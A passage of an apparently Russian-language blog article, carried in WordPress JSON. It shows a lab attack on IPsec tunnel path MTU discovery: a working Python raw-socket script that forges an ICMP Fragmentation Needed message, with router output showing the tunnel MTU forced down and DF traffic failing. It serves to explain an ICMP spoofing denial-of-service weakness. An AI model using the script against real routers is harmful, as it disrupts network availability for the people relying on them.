192.168.100.3<\/code><\/pre>\n<p>\u0417\u0430\u0447\u0435\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f <em>ip ospf mtu-ignore <\/em>\u043d\u0430 \u0442\u0443\u043d\u043d\u0435\u043b\u0435? PMTUD \u2013 \u0444\u0438\u0447\u0430 \u043e\u0434\u043d\u043e\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u043f\u043e\u043b\u043d\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u0435\u043d \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439: \u043e\u0434\u0438\u043d \u0438\u0437 \u0443\u0437\u043b\u043e\u0432 VPN \u0443\u0436\u0435 \u0441\u043d\u0438\u0437\u0438\u043b \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 MTU, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u0434\u0440\u0443\u0433\u043e\u043c\u0443 \u0443\u0437\u043b\u0443 \u0435\u0449\u0451 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u043e\u0438\u0442 \u043f\u043e\u0437\u043d\u0430\u0442\u044c \u044d\u0442\u0443 \u0440\u0430\u0434\u043e\u0441\u0442\u044c. \u0415\u0441\u043b\u0438 \u0432 \u044d\u0442\u043e\u0439 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u0441\u0431\u0440\u043e\u0441\u0438\u0442\u044c \u0441\u043e\u0441\u0435\u0434\u0441\u0442\u0432\u043e OSPF, \u0442\u043e \u043e\u043d\u043e, \u043a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0438\u0437-\u0437\u0430 \u043d\u0435\u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f MTU \u0432 DBD \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445.<\/p>\n<p>\u041f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c, \u043a\u0430\u043a \u0438\u0437\u0434\u0435\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430\u0434 VPN4, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043c\u0435\u0436\u0434\u0443 ISP \u0438 VPN4 \u2013 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0448\u0430 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0430\u044f \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u044f \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u0438\u043a\u043e\u043c; \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e ICMP \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f. PMTUD \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043f\u0430\u043a\u0435\u0442\u044b \u0441 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0431\u0438\u0442\u043e\u043c DF:<\/p>\n<pre><code>H5#ping 1.1.1.1 source 5.5.5.5 size 1400 df-bit  Type escape sequence to abort. Sending 5, 1400-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds: Packet sent with a source address of 5.5.5.5  Packet sent with the DF bit set .M.M. Success rate is 0 percent (0\/5) H5# H5#ping 1.1.1.1 source 5.5.5.5 size 1300 df-bit  Type escape sequence to abort. Sending 5, 1300-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds: Packet sent with a source address of 5.5.5.5  Packet sent with the DF bit set !!!!! Success rate is 100 percent (5\/5), round-trip min\/avg\/max = 40\/46\/52 ms<\/code><\/pre>\n<pre><code>VPN4#show interface tunnel 0 Tunnel0 is up, line protocol is up  &lt;output omitted>   Tunnel protocol\/transport IPSEC\/IP   Tunnel TTL 255   Path MTU Discovery, ager 10 mins, min MTU 92, MTU 1342, expires 00:09:28   Tunnel transport MTU 1442 bytes   Tunnel transmit bandwidth 8000 (kbps)   Tunnel receive bandwidth 8000 (kbps)   Tunnel protection via IPSec (profile \"PROFILE\") &lt;output omitted><\/code><\/pre>\n<p>\u041d\u043e\u0432\u043e\u0441\u0442\u044c \u0445\u043e\u0440\u043e\u0448\u0430\u044f \u2013 PMTUD \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442: MTU \u043d\u0430 \u0442\u0443\u043d\u043d\u0435\u043b\u0435 \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u043b\u0441\u044f \u0438 \u0441\u0442\u0430\u043b \u0440\u0430\u0432\u0435\u043d 1342 \u0431\u0430\u0439\u0442\u0430\u043c. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u0435\u0441\u0442\u044c \u043e\u0434\u0438\u043d \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u044b\u0439 \u043d\u044e\u0430\u043d\u0441 \u2013 \u044d\u0442\u043e \u0441\u0447\u0430\u0441\u0442\u044c\u0435 <a href=\"https:\/\/www.cisco.com\/c\/en\/us\/support\/docs\/ip\/generic-routing-encapsulation-gre\/25885-pmtud-ipfrag.html#toc-hId-1166775528\" rel=\"noopener noreferrer nofollow\">\u043d\u0435\u043b\u044c\u0437\u044f \u0443\u0432\u0438\u0434\u0435\u0442\u044c<\/a> \u043d\u0430 \u0441\u0442\u0430\u0440\u044b\u0445 IOS:<\/p>\n<blockquote>\n<p><strong><em>Note:<\/em><\/strong><em> This change in value is stored internally and cannot be seen in the output of the <\/em><strong><em>show ip interface tunnel&lt;#> <\/em><\/strong><em>command. You only see this change if you turn use the <\/em><strong><em>debug tunnel<\/em><\/strong><em> command.<\/em><\/p>\n<p><em>\u0412\u043e\u043b\u044c\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434<\/em><\/p>\n<p><strong><em>\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435: <\/em><\/strong><em>\u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043e \u0432 \u0432\u044b\u0432\u043e\u0434\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b <\/em><strong><em>show ip interface tunnel&lt;#>. <\/em><\/strong><em>\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0442\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u2013 \u044d\u0442\u043e \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043e\u0442\u043b\u0430\u0434\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u043e <\/em><strong><em>debug tunnel.<\/em><\/strong><\/p>\n<\/blockquote>\n<p>\u0417\u0430\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e ICMP Fragmentation Needed \u043d\u0435\u0441\u0451\u0442 \u0447\u0430\u0441\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u0430, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0433\u043e MTU. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043d\u0430\u043c \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u044d\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e ICMP \u043e\u0442\u0432\u0435\u0442\u0430:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>ICMP \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u0443\u044e \u0447\u0430\u0441\u0442\u044c ESP \u2013 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438, \u2013 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c ESP \u043f\u0430\u043a\u0435\u0442\u044b, \u043d\u0430 \u0438\u0445 \u043e\u0441\u043d\u043e\u0432\u0435 \u0443\u0433\u0430\u0434\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f SPI \u0438 Sequence, \u0430 \u0437\u0430\u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0438\u00a0 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u0434\u0435\u043b\u0430\u0442\u044c ICMP \u043e\u0442\u0432\u0435\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432\u043f\u043e\u043b\u043d\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c. \u041d\u0430\u0448\u0430 \u0436\u0435 \u0437\u0430\u0434\u0430\u0447\u0430 \u0435\u0449\u0451 \u043f\u0440\u043e\u0449\u0435: \u043d\u0430\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c VPN4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 MTU \u0434\u043b\u044f \u0442\u0443\u043d\u043d\u0435\u043b\u044f. \u0425\u043e\u0440\u043e\u0448\u0438\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440 \u2013 \u043b\u0435\u043d\u0438\u0432\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u043f\u0430\u043a\u0435\u0442 \u043f\u0440\u044f\u043c\u043e \u0438\u0437 Wireshark, \u043d\u0435\u043c\u043d\u043e\u0433\u043e <a href=\"https:\/\/inc0x0.com\/tcp-ip-packets-introduction\/tcp-ip-packets-3-manually-create-and-send-raw-tcp-ip-packets\/\" rel=\"noopener noreferrer nofollow\">\u043f\u043e\u0434\u043f\u0440\u0430\u0432\u0438\u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f<\/a>:<\/p>\n<pre><code class=\"python\">import socket  s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)  packet = bytearray(\\ b\"\\x0c\\x11\\x72\\x9e\\x00\\x01\\xca\\x03\\x3c\\xde\\x00\\x1c\\x08\\x00\\x45\\x00\" \\ b\"\\x00\\x38\\x00\\x02\\x00\\x00\\xff\\x01\\xf6\\x6a\\xc0\\xa8\\x22\\x03\\xc0\\xa8\" \\ b\"\\x22\\x04\\x03\\x04\\xb2\\x44\\x00\\x00\\x05\\x78\\x45\\x00\\x05\\xac\\x04\\xb3\" \\ b\"\\x40\\x00\\xfe\\x32\\xb8\\x15\\xc0\\xa8\\x22\\x04\\xc0\\xa8\\x17\\x02\\x5a\\xe2\" \\ b\"\\xea\\x4e\\x00\\x00\\x00\\x0e\" )  # Decrease MTU by 1024 bytes packet[2*16 + 8] = (packet[2*16 + 8] - 0x04) % 256  # Compute high byte of checksum word hbyte = packet[2*16 + 4] + 0x04  # If high byte is overflown, compensate carryover if hbyte > 255:     packet[2*16 + 5] = packet[2*16 + 5] + 1     hbyte -= 256  # Adjust high byte of checksum packet[2*16 + 4] = hbyte  packet = packet[14:] s.sendto(packet, ('192.168.34.4', 0))<\/code><\/pre>\n<p>\u0420\u0430\u0441\u0447\u0451\u0442 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432 \u0441\u0435\u0431\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc1071\" rel=\"noopener noreferrer nofollow\">\u0434\u0440\u0435\u0432\u043d\u0435\u0439 \u043c\u0430\u0433\u0438\u0438<\/a> \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0430\u0439\u0442\u0430, \u043d\u043e \u0432 \u0446\u0435\u043b\u043e\u043c \u0438\u0434\u0435\u044f \u043f\u0440\u043e\u0441\u0442\u0430 \u2013 \u043e\u0431\u043d\u0443\u043b\u0438\u0442\u044c LSB MTU, \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 LSB \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u043d\u0430 \u0442\u0443 \u0436\u0435 \u0432\u0435\u043b\u0438\u0447\u0438\u043d\u0443. \u0412\u0435\u0441\u044c\u043c\u0430 \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u043e, \u043d\u0435 \u0442\u0430\u043a \u043b\u0438? \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043b\u0438 \u0448\u0430\u043b\u043e\u0441\u0442\u044c:<\/p>\n<pre><code class=\"bash\">root@Attacker# python3 pckt.py <\/code><\/pre>\n<pre><code>VPN4#show interfaces tunnel0 Tunnel0 is up, line protocol is up    &lt;output omitted>   Tunnel protocol\/transport IPSEC\/IP   Tunnel TTL 255   Path MTU Discovery, ager 10 mins, min MTU 92, MTU 318, expires 00:09:48   Tunnel transport MTU 1442 bytes   Tunnel transmit bandwidth 8000 (kbps)   Tunnel receive bandwidth 8000 (kbps)   Tunnel protection via IPSec (profile \"PROFILE\") &lt;output omitted><\/code><\/pre>\n<pre><code>H5#ping 1.1.1.1 source 5.5.5.5 size 1300 df-bit  Type escape sequence to abort. Sending 5, 1300-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds: Packet sent with a source address of 5.5.5.5  Packet sent with the DF bit set M.M.M Success rate is 0 percent (0\/5)<\/code><\/pre>\n<p>\u041e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0448\u0430\u043b\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0430\u0441\u044c. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u0430 \u043a\u0430\u043a\u0438\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f? \u041d\u0430\u0447\u043d\u0451\u043c \u0441 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043b\u0435\u0436\u0438\u0442 \u043d\u0430 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u0438, \u2013 \u043f\u0430\u043a\u0435\u0442\u044b \u0441 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0431\u0438\u0442\u043e\u043c DF \u043d\u0435 \u0441\u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u043e\u0440\u0432\u0430\u0442\u044c\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u044c \u0432 \u0442\u0430\u043a\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438, \u0447\u0442\u043e \u043f\u0440\u044f\u043c\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441\u0430. \u041e\u0431\u044b\u0447\u043d\u044b\u0435 \u0436\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0431\u0443\u0434\u0443\u0442 \u0432\u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0430 \u0437\u0430\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u044c. \u0424\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432\u0441\u0435\u0433\u0434\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c CPU, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0441\u043f\u043b\u0435\u0441\u043a \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0434\u043b\u044f \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0438\u0437\u0431\u0435\u0436\u043d\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u0441\u043f\u043b\u0435\u0441\u043a\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0441\u0442\u0438 CPU; \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0432\u0441\u0435\u0433\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0434 \u0443\u0434\u0430\u0440 \u0441\u0432\u044f\u0437\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u0446\u0435\u043b\u043e\u0439 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0435.<\/p>\n<p>\u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043b\u0438 \u044d\u0442\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u043c? \u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u044d\u0442\u043e <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc1191#page-18\" rel=\"noopener noreferrer nofollow\">\u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c<\/a> PMTUD \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0434\u0438\u0437\u0430\u0439\u043d\u0430: \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440 \u043e\u0431\u044f\u0437\u0430\u043d \u0434\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u0437 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043e\u0442<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-362241","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/362241","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=362241"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/362241\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=362241"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=362241"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=362241"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}